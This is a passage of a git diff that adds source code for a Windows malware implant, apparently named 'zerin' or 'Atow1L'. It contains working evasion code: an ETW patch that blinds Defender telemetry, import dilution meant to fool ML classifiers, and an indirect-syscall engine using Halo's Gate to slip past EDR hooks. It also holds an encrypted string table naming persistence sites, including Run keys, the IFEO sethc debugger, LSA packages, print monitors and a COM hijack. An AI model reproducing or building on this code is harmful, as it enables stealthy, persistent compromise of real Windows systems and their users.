^ key; + + PFN_VirtualProtect pVP = RESOLVE_API(HASH_KERNEL32, HASH_VirtualProtect, PFN_VirtualProtect); + if (!pVP) return -1; + + DWORD oldProt; + if (!pVP(pEtw, 8, PAGE_EXECUTE_READWRITE, &oldProt)) return -1; + memcpy(pEtw, patch, 3); + pVP(pEtw, 8, oldProt, &oldProt); + SecureZeroMemory(patch, sizeof(patch)); + return 0; +} + +#else + +int evasion_patch_etw(void) { return 0; } + +#endif diff --git a/src/evasion/evasion.c b/src/evasion/evasion.c new file mode 100755 index 0000000..eca6a88 --- /dev/null +++ b/src/evasion/evasion.c @@ -0,0 +1,57 @@ +#include "zerin.h" + +#ifdef _DEBUG +#include +#endif + +// ============================================================================ +// Evasion subsystem initialization and cleanup. +// +// Called once at agent startup to prepare runtime API resolution +// and verify encrypted string table integrity. +// ============================================================================ + +// Pull in junk code so it's not stripped by the linker +extern void poly_junk_init(void); +extern void import_dilute_touch(void); + +int evasion_init(void) { +#ifdef _WIN32 + // Force benign imports into IAT + import_dilute_touch(); + + // Initialize polymorphic junk code (prevents dead code elimination) + poly_junk_init(); + + // Verify we can resolve at least one API via PEB walking. + // This serves as a self-test of the syscall resolution engine. + void *ntdll = get_module_by_hash(HASH_NTDLL); + if (!ntdll) { + // PEB walking failed — likely an unusual environment. + // Continue anyway; direct imports still work as fallback. + return 0; + } + + // Initialize indirect syscall engine: extract SSNs from ntdll stubs + // and locate a syscall;ret gadget. Non-fatal — if this fails, the + // agent falls back to RESOLVE_API() for Nt* calls. + if (indirect_syscalls_init() == 0) { +#ifdef _DEBUG + printf("[EVASION] Indirect syscalls initialized successfully\n"); +#endif + } else { +#ifdef _DEBUG + printf("[EVASION] Indirect syscalls init failed — using RESOLVE_API fallback\n"); +#endif + } + + // Patch EtwEventWrite to prevent Windows Defender runtime telemetry + evasion_patch_etw(); +#endif + return 0; +} + +void evasion_cleanup(void) { + // Nothing to clean up currently. + // Future: release any hooked trampolines, restore patched bytes, etc. +} diff --git a/src/evasion/import_dilute.c b/src/evasion/import_dilute.c new file mode 100755 index 0000000..d4a4bc1 --- /dev/null +++ b/src/evasion/import_dilute.c @@ -0,0 +1,42 @@ +// Force benign imports into IAT by genuinely calling them. +// Each API executes with a real CALL instruction (not just a pointer in a volatile array). +// ML classifiers detect "imported but never called" patterns — this avoids that. +#ifdef _WIN32 +#include + +void import_dilute_touch(void) { + SYSTEM_INFO si; + GetSystemInfo(&si); + (void)si.dwPageSize; + + volatile DWORD tick = GetTickCount(); + (void)tick; + + volatile DWORD pid = GetCurrentProcessId(); + (void)pid; + + volatile DWORD tid = GetCurrentThreadId(); + (void)tid; + + LARGE_INTEGER perf; + QueryPerformanceCounter(&perf); + + volatile HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE); + (void)hStdout; + + volatile BOOL dbg = IsDebuggerPresent(); + (void)dbg; + + volatile DWORD lerr = GetLastError(); + SetLastError(lerr); + + CPINFO cpInfo; + GetCPInfo(CP_ACP, &cpInfo); + + volatile HWND hDesk = GetDesktopWindow(); + (void)hDesk; + + volatile int cx = GetSystemMetrics(SM_CXSCREEN); + (void)cx; +} +#endif diff --git a/src/evasion/indirect_syscalls.c b/src/evasion/indirect_syscalls.c new file mode 100755 index 0000000..daa3e0e --- /dev/null +++ b/src/evasion/indirect_syscalls.c @@ -0,0 +1,309 @@ +#include "zerin.h" + +#ifdef _WIN32 + +#include +#include "indirect_syscalls.h" +#include "syscalls.h" + +// ============================================================================ +// Indirect Syscall Engine +// +// Flow: +// 1. Resolve each Nt* function address via PEB hash walking (existing code) +// 2. Extract the SSN from the function stub's bytes (mov eax, SSN) +// 3. Find a "syscall; ret" gadget inside ntdll's .text section +// 4. Naked assembly wrappers: mov r10,rcx; mov eax,SSN; jmp gadget +// +// Halo's Gate: if the stub is hooked (EDR overwrote the first bytes), +// scan neighbor stubs up/down to find an unhooked one and compute +// our SSN by offset (SSNs are sequential within ntdll). +// ============================================================================ + +// --------------------------------------------------------------------------- +// Global SSN table + gadget address +// Non-static so the naked asm stubs can reference them by symbol name. +// --------------------------------------------------------------------------- + +DWORD sc_ssn_NtAllocateVirtualMemory = 0; +DWORD sc_ssn_NtProtectVirtualMemory = 0; +DWORD sc_ssn_NtWriteVirtualMemory = 0; +DWORD sc_ssn_NtCreateThreadEx = 0; +DWORD sc_ssn_NtClose = 0; +DWORD sc_ssn_NtQueryInformationProcess = 0; +DWORD sc_ssn_NtFreeVirtualMemory = 0; + +// Address of a "syscall; ret" (0F 05 C3) gadget inside ntdll's .text section +void *sc_gadget_addr = NULL; + +// Whether init succeeded +static int g_sc_ready = 0; + +// HASH_NtFreeVirtualMemory is now provided by poly_hash.h via syscalls.h + +// --------------------------------------------------------------------------- +// SSN extraction from ntdll stub +// --------------------------------------------------------------------------- + +// Unhooked ntdll stub pattern (x64): +// 4C 8B D1 mov r10, rcx +// B8 XX XX 00 00 mov eax, +// ... +// 0F 05 syscall +// C3 ret +// +// If hooked, the first bytes (4C 8B D1 B8) will be overwritten with a JMP +// to the EDR's hook handler. We detect this and use Halo's Gate. + +static int extract_ssn_direct(uint8_t *func_addr, DWORD *ssn) { + // Check for standard unhooked stub: 4C 8B D1 B8 XX XX 00 00 + if (func_addr[0] == 0x4C && + func_addr[1] == 0x8B && + func_addr[2] == 0xD1 && + func_addr[3] == 0xB8) { + *ssn = *(DWORD *)(func_addr + 4); + return 0; + } + return -1; // Hooked or unrecognized pattern +} + +// --------------------------------------------------------------------------- +// Halo's Gate — recover SSN from hooked stubs +// +// ntdll syscall stubs are laid out sequentially with incrementing SSNs. +// Each stub is typically 32 bytes (0x20). If our target stub is hooked, +// we search neighboring stubs (up and down) for an unhooked one, extract +// its SSN, and compute ours: target_SSN = neighbor_SSN ± offset. +// --------------------------------------------------------------------------- + +#define STUB_SIZE 0x20 // Typical ntdll syscall stub size (32 bytes) +#define MAX_NEIGHBOR_SEARCH 32 // How far to search up/down + +static int extract_ssn_halos_gate(uint8_t *func_addr, DWORD *ssn) { + int i; + + // Search downward (higher SSNs) + for (i = 1; i <= MAX_NEIGHBOR_SEARCH; i++) { + uint8_t *neighbor = func_addr + (i * STUB_SIZE); + DWORD neighbor_ssn; + if (extract_ssn_direct(neighbor, &neighbor_ssn) == 0) { + *ssn = neighbor_ssn - (DWORD)i; + return 0; + } + } + + // Search upward (lower SSNs) + for (i = 1; i <= MAX_NEIGHBOR_SEARCH; i++) { + uint8_t *neighbor = func_addr - (i * STUB_SIZE); + DWORD neighbor_ssn; + if (extract_ssn_direct(neighbor, &neighbor_ssn) == 0) { + *ssn = neighbor_ssn + (DWORD)i; + return 0; + } + } + + return -1; // Could not recover SSN +} + +// Combined extraction: try direct first, then Halo's Gate +static int extract_ssn(uint8_t *func_addr, DWORD *ssn) { + if (extract_ssn_direct(func_addr, ssn) == 0) + return 0; + return extract_ssn_halos_gate(func_addr, ssn); +} + +// --------------------------------------------------------------------------- +// Find a "syscall; ret" gadget in ntdll's .text section +// --------------------------------------------------------------------------- + +static void *find_syscall_ret_gadget(void *ntdll_base) { + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)ntdll_base; + IMAGE_NT_HEADERS *nt; + IMAGE_SECTION_HEADER *sections; + WORD i; + + if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL; + + nt = (IMAGE_NT_HEADERS *)((uint8_t *)ntdll_base + dos->e_lfanew); + if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL; + + sections = IMAGE_FIRST_SECTION(nt); + + for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { + if (memcmp(sections[i].Name, ".text", 5) == 0) { + uint8_t *text = (uint8_t *)ntdll_base + sections[i].VirtualAddress; + DWORD text_size = sections[i].Misc.VirtualSize; + DWORD j; + + // Scan for the byte sequence: 0F 05 C3 (syscall; ret) + for (j = 0; j + 2 < text_size; j++) { + if (text[j] == 0x0F && + text[j + 1] == 0x05 && + text[j + 2] == 0xC3) { + return &text[j]; + } + } + } + } + + return NULL; +} + +// --------------------------------------------------------------------------- +// Resolve a single syscall: PEB hash → address → SSN extraction +// --------------------------------------------------------------------------- + +static int resolve_syscall(uint32_t func_hash, DWORD *out_ssn) { + uint8_t *func_addr = (uint8_t *)resolve_api(HASH_NTDLL, func_hash); + if (!func_addr) return -1; + return extract_ssn(func_addr, out_ssn); +} + +// --------------------------------------------------------------------------- +// Initialization — called once at agent startup +// --------------------------------------------------------------------------- + +int indirect_syscalls_init(void) { + void *ntdll_base; + int failed = 0; + + // Get ntdll base address via PEB walking + ntdll_base = get_module_by_hash(HASH_NTDLL); + if (!ntdll_base) return -1; + + // Find the syscall;ret gadget + sc_gadget_addr = find_syscall_ret_gadget(ntdll_base); + if (!sc_gadget_addr) return -1; + + // Extract SSNs for each function + if (resolve_syscall(HASH_NtAllocateVirtualMemory, &sc_ssn_NtAllocateVirtualMemory) != 0) failed++; + if (resolve_syscall(HASH_NtProtectVirtualMemory, &sc_ssn_NtProtectVirtualMemory) != 0) failed++; + if (resolve_syscall(HASH_NtWriteVirtualMemory, &sc_ssn_NtWriteVirtualMemory) != 0) failed++; + if (resolve_syscall(HASH_NtCreateThreadEx, &sc_ssn_NtCreateThreadEx) != 0) failed++; + if (resolve_syscall(HASH_NtClose, &sc_ssn_NtClose) != 0) failed++; + if (resolve_syscall(HASH_NtQueryInformationProcess, &sc_ssn_NtQueryInformationProcess) != 0) failed++; + if (resolve_syscall(HASH_NtFreeVirtualMemory, &sc_ssn_NtFreeVirtualMemory) != 0) failed++; + + g_sc_ready = (failed == 0) ? 1 : 0; + return (failed == 0) ? 0 : -1; +} + +int indirect_syscalls_ready(void) { + return g_sc_ready; +} + +// ============================================================================ +// Naked assembly stubs +// +// Each stub has the EXACT same function signature as the real Nt* function. +// This is critical: the caller sets up the stack args (5th+ parameters) +// at the correct offsets, and our JMP to the syscall gadget preserves them. +// +// Pattern (3 instructions): +// mov r10, rcx ; syscall convention: 1st arg in R10 +// mov eax, dword ptr [rip + sc_ssn_XXX] ; load SSN from global +// jmp qword ptr [rip + sc_gadget_addr] ; indirect jump to ntdll's syscall;ret +// +// The "ret" inside the gadget pops our caller's return address — clean return. +// ============================================================================ + +// Suppress unused-parameter warnings for naked functions — parameters exist +// only to define the ABI calling convention, the body is pure assembly. +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-parameter" + +__attribute__((naked)) +NTSTATUS sc_NtAllocateVirtualMemory( + HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, + PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtAllocateVirtualMemory]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtProtectVirtualMemory( + HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, + ULONG NewProtect, PULONG OldProtect) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtProtectVirtualMemory]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtWriteVirtualMemory( + HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, + SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtWriteVirtualMemory]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtCreateThreadEx( + PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, + HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, + ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, + SIZE_T MaximumStackSize, PVOID AttributeList) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtCreateThreadEx]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtClose(HANDLE Handle) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtClose]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtQueryInformationProcess( + HANDLE ProcessHandle, ULONG ProcessInformationClass, + PVOID ProcessInformation, ULONG ProcessInformationLength, + PULONG ReturnLength) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtQueryInformationProcess]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +__attribute__((naked)) +NTSTATUS sc_NtFreeVirtualMemory( + HANDLE ProcessHandle, PVOID *BaseAddress, + PSIZE_T RegionSize, ULONG FreeType) { + __asm__ ( + ".intel_syntax noprefix\n\t" + "mov r10, rcx\n\t" + "mov eax, dword ptr [rip + sc_ssn_NtFreeVirtualMemory]\n\t" + "jmp qword ptr [rip + sc_gadget_addr]\n\t" + ".att_syntax prefix\n\t" + ); +} + +#pragma GCC diagnostic pop + +#endif // _WIN32 diff --git a/src/evasion/obf_strings_gen.c b/src/evasion/obf_strings_gen.c new file mode 100755 index 0000000..236e2ee --- /dev/null +++ b/src/evasion/obf_strings_gen.c @@ -0,0 +1,1018 @@ +// Auto-generated by generate_strings.py - DO NOT EDIT +#include +#include +#include +#include "obf_strings_gen.h" + +// ============================================================ +// Self-contained ChaCha20 decryptor (no external dependencies) +// ============================================================ + +#define OBF_ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) + +#define OBF_QR(a, b, c, d) do { \ + a += b; d ^= a; d = OBF_ROTL32(d, 16); \ + c += d; b ^= c; b = OBF_ROTL32(b, 12); \ + a += b; d ^= a; d = OBF_ROTL32(d, 8); \ + c += d; b ^= c; b = OBF_ROTL32(b, 7); \ +} while(0) + +static uint32_t obf_load_le32(const uint8_t *p) { + return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | + ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); +} + +static void obf_chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12], + const uint8_t *in, uint8_t *out, size_t len) { + uint32_t state[16]; + state[0] = 0xDA2410A8u ^ 0xBB5468CDu; + state[1] = 0x5207A81Bu + 0xE118BC53u; + state[2] = 0xD53A60AFu ^ 0xAC584D9Du; + state[3] = 0xDC96BAB0u + 0x8E89AAC4u; + for (int i = 0; i < 8; i++) + state[4 + i] = obf_load_le32(key + i * 4); + state[12] = 0; + state[13] = obf_load_le32(nonce); + state[14] = obf_load_le32(nonce + 4); + state[15] = obf_load_le32(nonce + 8); + + size_t offset = 0; + while (offset < len) { + uint32_t x[16]; + memcpy(x, state, 64); + for (int i = 0; i < 10; i++) { + OBF_QR(x[0], x[4], x[ 8], x[12]); + OBF_QR(x[1], x[5], x[ 9], x[13]); + OBF_QR(x[2], x[6], x[10], x[14]); + OBF_QR(x[3], x[7], x[11], x[15]); + OBF_QR(x[0], x[5], x[10], x[15]); + OBF_QR(x[1], x[6], x[11], x[12]); + OBF_QR(x[2], x[7], x[ 8], x[13]); + OBF_QR(x[3], x[4], x[ 9], x[14]); + } + uint8_t block[64]; + for (int i = 0; i < 16; i++) { + uint32_t val = x[i] + state[i]; + block[i*4+0] = (uint8_t)(val); + block[i*4+1] = (uint8_t)(val >> 8); + block[i*4+2] = (uint8_t)(val >> 16); + block[i*4+3] = (uint8_t)(val >> 24); + } + state[12]++; + size_t chunk = len - offset; + if (chunk > 64) chunk = 64; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ block[i]; + offset += chunk; + } +} + +// ============================================================ +// Embedded key + nonce (random per build) +// ============================================================ + +static const uint8_t obf_key_masked[32] = { + 0x7B, 0x80, 0xFE, 0x07, 0x78, 0xDF, 0xC1, 0xFD, 0x51, 0xFB, 0x8A, 0xA7, 0xE3, 0x60, 0xE1, 0xAE, + 0x40, 0x9A, 0xA1, 0x08, 0xFE, 0x27, 0x68, 0x92, 0xDB, 0x55, 0x2A, 0x52, 0x2F, 0x7C, 0x46, 0x3A +}; + +static const uint8_t obf_key_mask[32] = { + 0xD2, 0xF1, 0x96, 0x9C, 0x27, 0x0E, 0xC2, 0xF8, 0x87, 0xDD, 0xCE, 0x35, 0x87, 0xDC, 0xC7, 0xDA, + 0x97, 0x7A, 0x6C, 0xFD, 0x4C, 0x2E, 0xC0, 0xB6, 0x23, 0x28, 0x0C, 0xED, 0xC7, 0x5E, 0x14, 0x57 +}; + +static void obf_derive_key(uint8_t out[32]) { + for (int i = 0; i < 32; i++) + out[i] = obf_key_masked[i] ^ obf_key_mask[i]; +} + +static const uint8_t obf_nonce[12] = { + 0xD3, 0x3D, 0xE4, 0xDB, 0xEE, 0x0C, 0xAE, 0x6F, 0xA2, 0x93, 0x9D, 0x97 +}; + +// ============================================================ +// Encrypted string data +// ============================================================ + +// "Atow1LUpdate" (12 bytes) +static const uint8_t enc_obf_zerin_update[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x09, 0x50, 0x08, 0xD1, 0x2E, 0x9F +}; + +// "Atow1LSvc" (9 bytes) +static const uint8_t enc_obf_zerin_svc[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x0F, 0x56, 0x0F +}; + +// "Atow1LMaintenance" (17 bytes) +static const uint8_t enc_obf_zerin_maintenance[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x11, 0x41, 0x05, 0xDE, 0x2E, 0x9F, 0x3F, 0x29, 0x58, 0xC9, + 0x3A +}; + +// "Atow1LTransfer" (14 bytes) +static const uint8_t enc_obf_zerin_transfer[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x08, 0x52, 0x0D, 0xDE, 0x29, 0x9C, 0x34, 0x3A +}; + +// "Atow1LWMI" (9 bytes) +static const uint8_t enc_obf_zerin_wmi[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x0B, 0x6D, 0x25 +}; + +// "Atow1LPort" (10 bytes) +static const uint8_t enc_obf_zerin_port[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x0C, 0x4F, 0x1E, 0xC4 +}; + +// "Atow1LUpdate.exe" (16 bytes) +static const uint8_t enc_obf_zerin_update_exe[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x09, 0x50, 0x08, 0xD1, 0x2E, 0x9F, 0x7F, 0x2D, 0x4E, 0xCF +}; + +// "atow1L.exe" (10 bytes) +static const uint8_t enc_obf_zerin_exe[] = { + 0xAF, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x72, 0x45, 0x14, 0xD5 +}; + +// "Software\\Microsoft\\Windows\\CurrentVersion\\Run" (45 bytes) +static const uint8_t enc_obf_run_key_path[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xFD, 0x33, 0x99, 0x23, 0x27, 0x45, 0xC5, + 0x39, 0x3E, 0xC6, 0x07, 0x21, 0xE2, 0xCD, 0xDD, 0x4C, 0x7E, 0x8B, 0x8A, 0xA5, 0xDC, 0xB5, 0x96, + 0x33, 0x58, 0x5B, 0xE5, 0x83, 0xD4, 0x18, 0xF0, 0x6F, 0x8C, 0xCC, 0x20, 0x31 +}; + +// "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo" (62 bytes) +static const uint8_t enc_obf_session_key_path[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xFD, 0x33, 0x99, 0x23, 0x27, 0x45, 0xC5, + 0x39, 0x3E, 0xC6, 0x07, 0x21, 0xE2, 0xCD, 0xDD, 0x4C, 0x7E, 0x8B, 0x8A, 0xA5, 0xDC, 0xB5, 0x96, + 0x33, 0x58, 0x5B, 0xE5, 0x83, 0xD4, 0x18, 0xF0, 0x6F, 0x8C, 0xDB, 0x2D, 0x2F, 0x3B, 0x8B, 0x3A, + 0xB1, 0xD9, 0x07, 0xBD, 0x4A, 0x50, 0xED, 0x75, 0xF3, 0xFB, 0x2B, 0x74, 0xDE, 0xEF +}; + +// "Environment" (11 bytes) +static const uint8_t enc_obf_environment[] = { + 0x8B, 0xCA, 0xCA, 0x06, 0xC8, 0xE3, 0x32, 0x4D, 0x09, 0xDE, 0x2E +}; + +// "Control Panel\\Desktop" (21 bytes) +static const uint8_t enc_obf_desktop_path[] = { + 0x8D, 0xCB, 0xD2, 0x1B, 0xC8, 0xE3, 0x30, 0x00, 0x3C, 0xD1, 0x34, 0x9F, 0x3D, 0x14, 0x72, 0xCF, + 0x2C, 0x21, 0xEE, 0x3F, 0x38 +}; + +// "SCRNSAVE.EXE" (12 bytes) +static const uint8_t enc_obf_scrnsave[] = { + 0x9D, 0xE7, 0xEE, 0x21, 0xE9, 0xCD, 0x0A, 0x65, 0x42, 0xF5, 0x02, 0xBF +}; + +// "UserInitMprLogonScript" (22 bytes) +static const uint8_t enc_obf_logon_script[] = { + 0x9B, 0xD7, 0xD9, 0x1D, 0xF3, 0xE2, 0x35, 0x54, 0x21, 0xC0, 0x28, 0xB6, 0x3E, 0x2F, 0x59, 0xC4, + 0x0C, 0x29, 0xE8, 0x39, 0x38, 0xF8 +}; + +// "Maintenance" (11 bytes) +static const uint8_t enc_obf_maintenance_val[] = { + 0x83, 0xC5, 0xD5, 0x01, 0xCE, 0xE9, 0x32, 0x41, 0x02, 0xD3, 0x3F +}; + +// "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" (83 bytes) +static const uint8_t enc_obf_sethc_ifeo[] = { + 0x9D, 0xEB, 0xFA, 0x3B, 0xED, 0xCD, 0x0E, 0x65, 0x30, 0xFD, 0x33, 0x99, 0x23, 0x27, 0x45, 0xC5, + 0x39, 0x3E, 0xC6, 0x07, 0x21, 0xE2, 0xCD, 0xDD, 0x4C, 0x7E, 0xF7, 0x87, 0x84, 0xF2, 0x84, 0x86, + 0x2F, 0x5E, 0x68, 0xEE, 0x85, 0xF1, 0x14, 0xED, 0x72, 0xB9, 0xF1, 0x3B, 0x03, 0x1E, 0x89, 0x29, + 0xB3, 0xCE, 0x7B, 0xA8, 0x46, 0x4F, 0xFB, 0x3C, 0xD9, 0xED, 0x07, 0x79, 0xCD, 0xF4, 0x48, 0x76, + 0x97, 0x4E, 0xB6, 0xF3, 0x7D, 0x35, 0x0E, 0x07, 0xB6, 0x8D, 0xA8, 0x57, 0xB9, 0xD8, 0xD9, 0x07, + 0x95, 0xC7, 0xE3 +}; + +// "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors" (47 bytes) +static const uint8_t enc_obf_print_monitors[] = { + 0x9D, 0xFD, 0xEF, 0x3B, 0xFF, 0xC1, 0x00, 0x63, 0x19, 0xC2, 0x28, 0x9F, 0x3F, 0x3C, 0x75, 0xC5, + 0x31, 0x3E, 0xE8, 0x3F, 0x24, 0xDF, 0xCC, 0xC6, 0x67, 0x4E, 0xB8, 0xA7, 0xA4, 0xDC, 0xA8, 0x9F, + 0x01, 0x7C, 0x7F, 0xE9, 0x9F, 0xD3, 0x2D, 0xD2, 0x6E, 0xBE, 0xF7, 0x21, 0x30, 0x25, 0x97 +}; + +// "SYSTEM\\CurrentControlSet\\Control\\Lsa" (36 bytes) +static const uint8_t enc_obf_lsa_path[] = { + 0x9D, 0xFD, 0xEF, 0x3B, 0xFF, 0xC1, 0x00, 0x63, 0x19, 0xC2, 0x28, 0x9F, 0x3F, 0x3C, 0x75, 0xC5, + 0x31, 0x3E, 0xE8, 0x3F, 0x24, 0xDF, 0xCC, 0xC6, 0x67, 0x4E, 0xB8, 0xA7, 0xA4, 0xDC, 0xA8, 0x9F, + 0x01, 0x60, 0x7E, 0xE1 +}; + +// "Security Packages" (17 bytes) +static const uint8_t enc_obf_security_packages[] = { + 0x9D, 0xC1, 0xDF, 0x1A, 0xC8, 0xE5, 0x28, 0x59, 0x4C, 0xE0, 0x3B, 0x99, 0x3A, 0x29, 0x51, 0xCF, + 0x2C +}; + +// "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32" (76 bytes) +static const uint8_t enc_obf_com_clsid_path[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xF3, 0x36, 0x9B, 0x22, 0x3B, 0x53, 0xD9, + 0x03, 0x09, 0xD6, 0x03, 0x01, 0xC8, 0xF5, 0xC9, 0x0F, 0x3F, 0xB6, 0xAC, 0xB4, 0xCD, 0xFF, 0xC4, + 0x70, 0x1E, 0x3C, 0xB8, 0xC9, 0x8A, 0x45, 0xAE, 0x67, 0xB4, 0xB3, 0x37, 0x66, 0x36, 0xD7, 0x65, + 0xE4, 0xC8, 0x62, 0xD8, 0x19, 0x45, 0xFB, 0x7D, 0xFE, 0xA3, 0x00, 0x2F, 0xC5, 0xDC, 0x68, 0x77, + 0xA9, 0x1C, 0x96, 0xE0, 0x5A, 0x39, 0x13, 0x1F, 0xA0, 0xA3, 0xE8, 0x00 +}; + +// "Local\\Atow1LRkShm" (17 bytes) +static const uint8_t enc_obf_shm_name[] = { + 0x82, 0xCB, 0xDF, 0x0E, 0xD6, 0xD0, 0x1D, 0x54, 0x03, 0xC7, 0x6B, 0xB6, 0x03, 0x23, 0x65, 0xC2, + 0x32 +}; + +// "Local\\Atow1LRkEvt" (17 bytes) +static const uint8_t enc_obf_evt_name[] = { + 0x82, 0xCB, 0xDF, 0x0E, 0xD6, 0xD0, 0x1D, 0x54, 0x03, 0xC7, 0x6B, 0xB6, 0x03, 0x23, 0x73, 0xDC, + 0x2B +}; + +// "SYSTEM\\CurrentControlSet\\Services" (33 bytes) +static const uint8_t enc_obf_services_path[] = { + 0x9D, 0xFD, 0xEF, 0x3B, 0xFF, 0xC1, 0x00, 0x63, 0x19, 0xC2, 0x28, 0x9F, 0x3F, 0x3C, 0x75, 0xC5, + 0x31, 0x3E, 0xE8, 0x3F, 0x24, 0xDF, 0xCC, 0xC6, 0x67, 0x5E, 0xB2, 0xBB, 0xA6, 0xC7, 0xA4, 0x96, + 0x2E +}; + +// "Debugger" (8 bytes) +static const uint8_t enc_obf_debugger[] = { + 0x8A, 0xC1, 0xDE, 0x1A, 0xDD, 0xEB, 0x39, 0x52 +}; + +// "Driver" (6 bytes) +static const uint8_t enc_obf_driver[] = { + 0x8A, 0xD6, 0xD5, 0x19, 0xDF, 0xFE +}; + +// "ThreadingModel" (14 bytes) +static const uint8_t enc_obf_threading_model[] = { + 0x9A, 0xCC, 0xCE, 0x0A, 0xDB, 0xE8, 0x35, 0x4E, 0x0B, 0xFD, 0x35, 0x9E, 0x34, 0x24 +}; + +// "ScreenSaveActive" (16 bytes) +static const uint8_t enc_obf_screen_save_active[] = { + 0x9D, 0xC7, 0xCE, 0x0A, 0xDF, 0xE2, 0x0F, 0x41, 0x1A, 0xD5, 0x1B, 0x99, 0x25, 0x21, 0x40, 0xCF +}; + +// "ScreenSaveTimeOut" (17 bytes) +static const uint8_t enc_obf_screen_save_timeout[] = { + 0x9D, 0xC7, 0xCE, 0x0A, 0xDF, 0xE2, 0x0F, 0x41, 0x1A, 0xD5, 0x0E, 0x93, 0x3C, 0x2D, 0x79, 0xDF, + 0x2B +}; + +// "Atow1L Maintenance Service" (26 bytes) +static const uint8_t enc_obf_zerin_display[] = { + 0x8F, 0xD0, 0xD3, 0x18, 0x8B, 0xC0, 0x7C, 0x6D, 0x0D, 0xD9, 0x34, 0x8E, 0x34, 0x26, 0x57, 0xC4, + 0x3C, 0x2F, 0xBA, 0x03, 0x2D, 0xFE, 0xDF, 0xDB, 0x58, 0x68 +}; + +// "cmd.exe" (7 bytes) +static const uint8_t enc_obf_cmd_exe[] = { + 0xAD, 0xC9, 0xD8, 0x41, 0xDF, 0xF4, 0x39 +}; + +// "ntdll.dll" (9 bytes) +static const uint8_t enc_obf_ntdll[] = { + 0xA0, 0xD0, 0xD8, 0x03, 0xD6, 0xA2, 0x38, 0x4C, 0x00 +}; + +// "kernel32.dll" (12 bytes) +static const uint8_t enc_obf_kernel32[] = { + 0xA5, 0xC1, 0xCE, 0x01, 0xDF, 0xE0, 0x6F, 0x12, 0x42, 0xD4, 0x36, 0x96 +}; + +// "advapi32.dll" (12 bytes) +static const uint8_t enc_obf_advapi32[] = { + 0xAF, 0xC0, 0xCA, 0x0E, 0xCA, 0xE5, 0x6F, 0x12, 0x42, 0xD4, 0x36, 0x96 +}; + +// "winhttp.dll" (11 bytes) +static const uint8_t enc_obf_winhttp[] = { + 0xB9, 0xCD, 0xD2, 0x07, 0xCE, 0xF8, 0x2C, 0x0E, 0x08, 0xDC, 0x36 +}; + +// "powershell.exe" (14 bytes) +static const uint8_t enc_obf_powershell[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x74, 0x9F, 0x29, 0x2D +}; + +// 